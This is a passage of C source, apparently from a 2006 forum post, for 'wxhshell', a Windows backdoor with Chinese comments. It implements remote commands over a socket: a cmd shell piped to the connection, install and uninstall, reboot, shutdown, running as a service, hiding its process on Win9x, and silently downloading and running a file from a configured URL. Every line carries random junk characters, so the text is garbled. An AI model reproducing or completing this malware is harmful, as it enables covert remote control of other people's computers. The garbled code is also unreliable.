  else { [>I<#_^~  
l:~/<`o  
    switch(cmd[0]) { J3V= 46Yc  
  uo9B9"&  
  // 帮助 ;?Tbnn Wn  
  case '?': { 6_o*y8s.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s[>,X#7 y  
    break; P;.W+WN  
  } <dWv?<o  
  // 安装 +HpA:]#Y  
  case 'i': {  tU5zF.%  
    if(Install()) 'ZF{R3Xu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE+g j8  
    else 1ba~SHi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pbn*_/H  
    break; x;.Jw 6g  
    } 9.M4o[  
  // 卸载 t.y2ff<[U  
  case 'r': { H7Rx>h_  
    if(Uninstall()) ?=msH=N<l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /U*C\ xMm  
    else DCO\c9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `g?Negt\v  
    break; W+c<2?d:  
    } }-{H  Y  
  // 显示 wxhshell 所在路径 8NJqV+jn)t  
  case 'p': { NR6#g,+7  
    char svExeFile[MAX_PATH]; Wis~$"  
    strcpy(svExeFile,"\n\r"); 3pROf#M  
      strcat(svExeFile,ExeFile); n38p!oS  
        send(wsh,svExeFile,strlen(svExeFile),0); ub0.J#j@  
    break; G_8RK,H.  
    } Y5Bo|*b  
  // 重启 BwEN~2u6  
  case 'b': { _.Nbt(mz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SHxNr(wJ<Q  
    if(Boot(REBOOT)) wW P}C D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &|1<v<I5  
    else { gs[uD5oo<  
    closesocket(wsh); 2jItq2.>  
    ExitThread(0); &t@jl\ND  
    } S3%FHS  
    break;  -);Wfs  
    } \:'/'^=#|  
  // 关机 {z5--TogJ  
  case 'd': { r +i($ jMs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B]wk+8SMY.  
    if(Boot(SHUTDOWN)) H2\;%K 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | j`@eF/"  
    else { :r,pqnH_  
    closesocket(wsh); -Cpl?Io`r5  
    ExitThread(0); &{hL&BLr  
    } 49c:V,  
    break; d"mkL-  
    } IPKbMlV#d  
  // 获取shell f*% D$Mqg  
  case 's': { SM#]H-3  
    CmdShell(wsh); i>A s;*  
    closesocket(wsh); I*{ nP)^9  
    ExitThread(0); g)[V(yWu  
    break; *%NT~C q  
  } /t57!&  
  // 退出 R?|.pq/Ln  
  case 'x': { /SR*W5#s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Ey9G  
    CloseIt(wsh); [({nj`  
    break; %N6A+5H  
    } 2#]#sZmk  
  // 离开 ^7cGq+t  
  case 'q': { \ZFGw&yN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KP^V>9q  
    closesocket(wsh); <z&/L/bl"  
    WSACleanup(); @V sG'  
    exit(1); xC:L)7#aw  
    break; qJs<#MQ2  
        } L|+~"'l  
  } 286;=rN]*  
  } L#?Ek-  
zkrM/ @p#  
  // 提示信息 4r#= *  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hbDXo:  
} -HbC!w v  
  } [A~xy'T  
]NY~2jmX  
  return; -#[a7',Z;  
} 6dt]`zv/  
9 ';JXf$  
// shell模块句柄 G@\1E+Ip  
int CmdShell(SOCKET sock) &j`}vg  
{ ".V$~n(  
STARTUPINFO si; '~<m~UXvD#  
ZeroMemory(&si,sizeof(si)); K`WywH3-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . B9iLI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W~; `WR;.  
PROCESS_INFORMATION ProcessInfo; O2E/jj  
char cmdline[]="cmd"; Qh3YJ=X&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |Nn)m  
  return 0; Dlae;5 D  
} AaOu L,l  
:yr+vcD?  
// 自身启动模式 Ad8n<zt|  
int StartFromService(void) wLH>:yKUU  
{ _$Yk M,  
typedef struct <n];mfh1  
{ }Yzco52  
  DWORD ExitStatus;  2DtM20<>  
  DWORD PebBaseAddress; YMcD|Kbp  
  DWORD AffinityMask; u#$]?($}d  
  DWORD BasePriority; Y|f[bw  
  ULONG UniqueProcessId; H>IMf/%5N-  
  ULONG InheritedFromUniqueProcessId; ay ;S4c/_  
}   PROCESS_BASIC_INFORMATION; u@UMP@"#  
=,=A,kI[;  
PROCNTQSIP NtQueryInformationProcess; VcO0sa f`  
61>.vT8P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EStB#V^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g`' !HGY  
mbxZL<ua  
  HANDLE             hProcess; C.yQ=\U2  
  PROCESS_BASIC_INFORMATION pbi; 9gDkTYkj  
b\kdKVh&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;kQhx6Z  
  if(NULL == hInst ) return 0; f!uwzHA`?  
m)t;9J5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2j88<Yh]H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rk2j#>l$4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2g-j.TM  
z6=Z\P+  
  if (!NtQueryInformationProcess) return 0; Ts[_u@   
_[c0)2h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =JEv,ZGT3  
  if(!hProcess) return 0; 6:[dj*KGmT  
VU(v3^1"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EF[@$j   
{_[N<U:QT&  
  CloseHandle(hProcess); 'Ym9;~(@R  
uM IIYS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); feDlH[$  
if(hProcess==NULL) return 0; t ;;U}  
|O|V-f{l  
HMODULE hMod; EzM ?Nft  
char procName[255]; N=5a54!/  
unsigned long cbNeeded; QvlObEhcS  
Z, Yb&b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8B K(4?gC  
qFCOUl  
  CloseHandle(hProcess); %9F([K  
vjGo;+K  
if(strstr(procName,"services")) return 1; // 以服务启动 |O\s|H  
*=/ { HvJ  
  return 0; // 注册表启动 +US!YU  
} |&+ o^  
+NZ_D#u  
// 主模块 x;P_1J%Q  
int StartWxhshell(LPSTR lpCmdLine) .\ULbN3Z  
{ 2ozax)GY  
  SOCKET wsl; XFHYQ2ME2  
BOOL val=TRUE; yiXSYD  
  int port=0; S]e|"n~@  
  struct sockaddr_in door; _~l5u8{^6  
WdH$JTk1  
  if(wscfg.ws_autoins) Install(); QC OM_$y  
{tuYs:  
port=atoi(lpCmdLine); .Ni\\  
S"bg9o  
if(port<=0) port=wscfg.ws_port; NdA[C|_8}f  
~F|+o}a `  
  WSADATA data; y1eW pPJa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3</_c1~  
'j8:vq^d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u"cV%(#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *eTqVG.  
  door.sin_family = AF_INET; X"|['t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *k(XW_>  
  door.sin_port = htons(port); y*jp79G  
jjB~G^n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m<T%Rb4?@  
closesocket(wsl); O~#!l"0 L+  
return 1; `!;_ho  
} gZ3u=uME  
Xv5wJlc!d  
  if(listen(wsl,2) == INVALID_SOCKET) { D[[|")Fn  
closesocket(wsl); 0y'H~(  
return 1;  lHY+}v0  
} `_Zg3_K.dS  
  Wxhshell(wsl); jP$a_hW  
  WSACleanup(); p SH=%u>  
Eak$u>Fd8c  
return 0; Mlg0WrJ|2  
 L2[($l  
} hc(#{]].  
V5nwu#  
// 以NT服务方式启动 ky,(xT4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <SAzxo:I  
{ *MFIV02[N  
DWORD   status = 0; 1Kw+,.@d  
  DWORD   specificError = 0xfffffff; ~]IOK$1F%  
93 )sk/j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zlSNfgO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bivuqKA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .,|G7DGH]  
  serviceStatus.dwWin32ExitCode     = 0; m/@wh a  
  serviceStatus.dwServiceSpecificExitCode = 0; k<nZ+! M  
  serviceStatus.dwCheckPoint       = 0; ,GhS[VJjR  
  serviceStatus.dwWaitHint       = 0; ,hm\   
X6w6%fzOH>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `iFmrC<  
  if (hServiceStatusHandle==0) return; <y('hI'  
Wq D4YGN  
status = GetLastError(); 2G & a{  
  if (status!=NO_ERROR) 9rA0lqr]5  
{ "+R+6<"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h ohfE3rd  
    serviceStatus.dwCheckPoint       = 0; 7FP*oN?  
    serviceStatus.dwWaitHint       = 0; $D~0~gn~  
    serviceStatus.dwWin32ExitCode     = status; h9&0Z +zs  
    serviceStatus.dwServiceSpecificExitCode = specificError; !3c\NbU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Z/(G1  
    return; 13$%,q)  
  } u OmtyX  
cN-?l7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gS!:+G%  
  serviceStatus.dwCheckPoint       = 0; t9GR69v:?  
  serviceStatus.dwWaitHint       = 0; ^,lIK+#Elz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TPQ%L@^ L+  
} wv>^0\o  
htO +z7  
// 处理NT服务事件,比如:启动、停止 Y!aSs3c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >NGj =L<  
{ g{]0sn#  
switch(fdwControl) 8rAg \H3E  
{ ,\W 8b-Z  
case SERVICE_CONTROL_STOP: -lr vKrt7  
  serviceStatus.dwWin32ExitCode = 0; [r\Du|R-*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A_"w^E{P  
  serviceStatus.dwCheckPoint   = 0; &)# ihK_  
  serviceStatus.dwWaitHint     = 0; niMsQ  
  { /e5O"@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk9%F?)  
  } IEL%!RFG  
  return; 6fE7W>la  
case SERVICE_CONTROL_PAUSE: 7~G9'P<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Bl\Z  
  break; XFVE>/H  
case SERVICE_CONTROL_CONTINUE: fh&nu"&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v|)4ocFK  
  break; 1W c=5!  
case SERVICE_CONTROL_INTERROGATE: nK1Slg#U  
  break; >mbHy<<  
}; a Yg6H2Un  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1sy[ @Q2b  
} G{As,`{  
ih-#5M@  
// 标准应用程序主函数 gMi0FO'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) //up5R_nx  
{ kYE9M8s;  
<`8n^m*  
// 获取操作系统版本 { T/[cu<  
OsIsNt=GetOsVer(); T= 80,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kUb>^- -K  
nmee 'oEw  
  // 从命令行安装 |"q5sym8Y_  
  if(strpbrk(lpCmdLine,"iI")) Install(); W<h)HhyG  
k&M;,e3v6  
  // 下载执行文件 ]6k\)#%2  
if(wscfg.ws_downexe) { f=+mIZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JMCKcZ%N  
  WinExec(wscfg.ws_filenam,SW_HIDE); ydEoC$?0  
} .r=4pQ@#  
?> 9/#Nv  
if(!OsIsNt) { rET\n(AJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 x;O[c3I  
HideProc(); ~gJwW+  
StartWxhshell(lpCmdLine); LRxZcxmy  
} h:))@@7MJ  
else EgEa1l!NSQ  
  if(StartFromService()) &C5_g$Ma.Z  
  // 以服务方式启动 IV~>I-rd  
  StartServiceCtrlDispatcher(DispatchTable); +zqn<<9  
else 7uqzm  
  // 普通方式启动 A;q9rD,_  
  StartWxhshell(lpCmdLine); "m):Y;9iQ?  
ZuzEg*lb  
return 0; Y sC>i`n9  
}
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只看该作者 1 发表于: 2006-10-10
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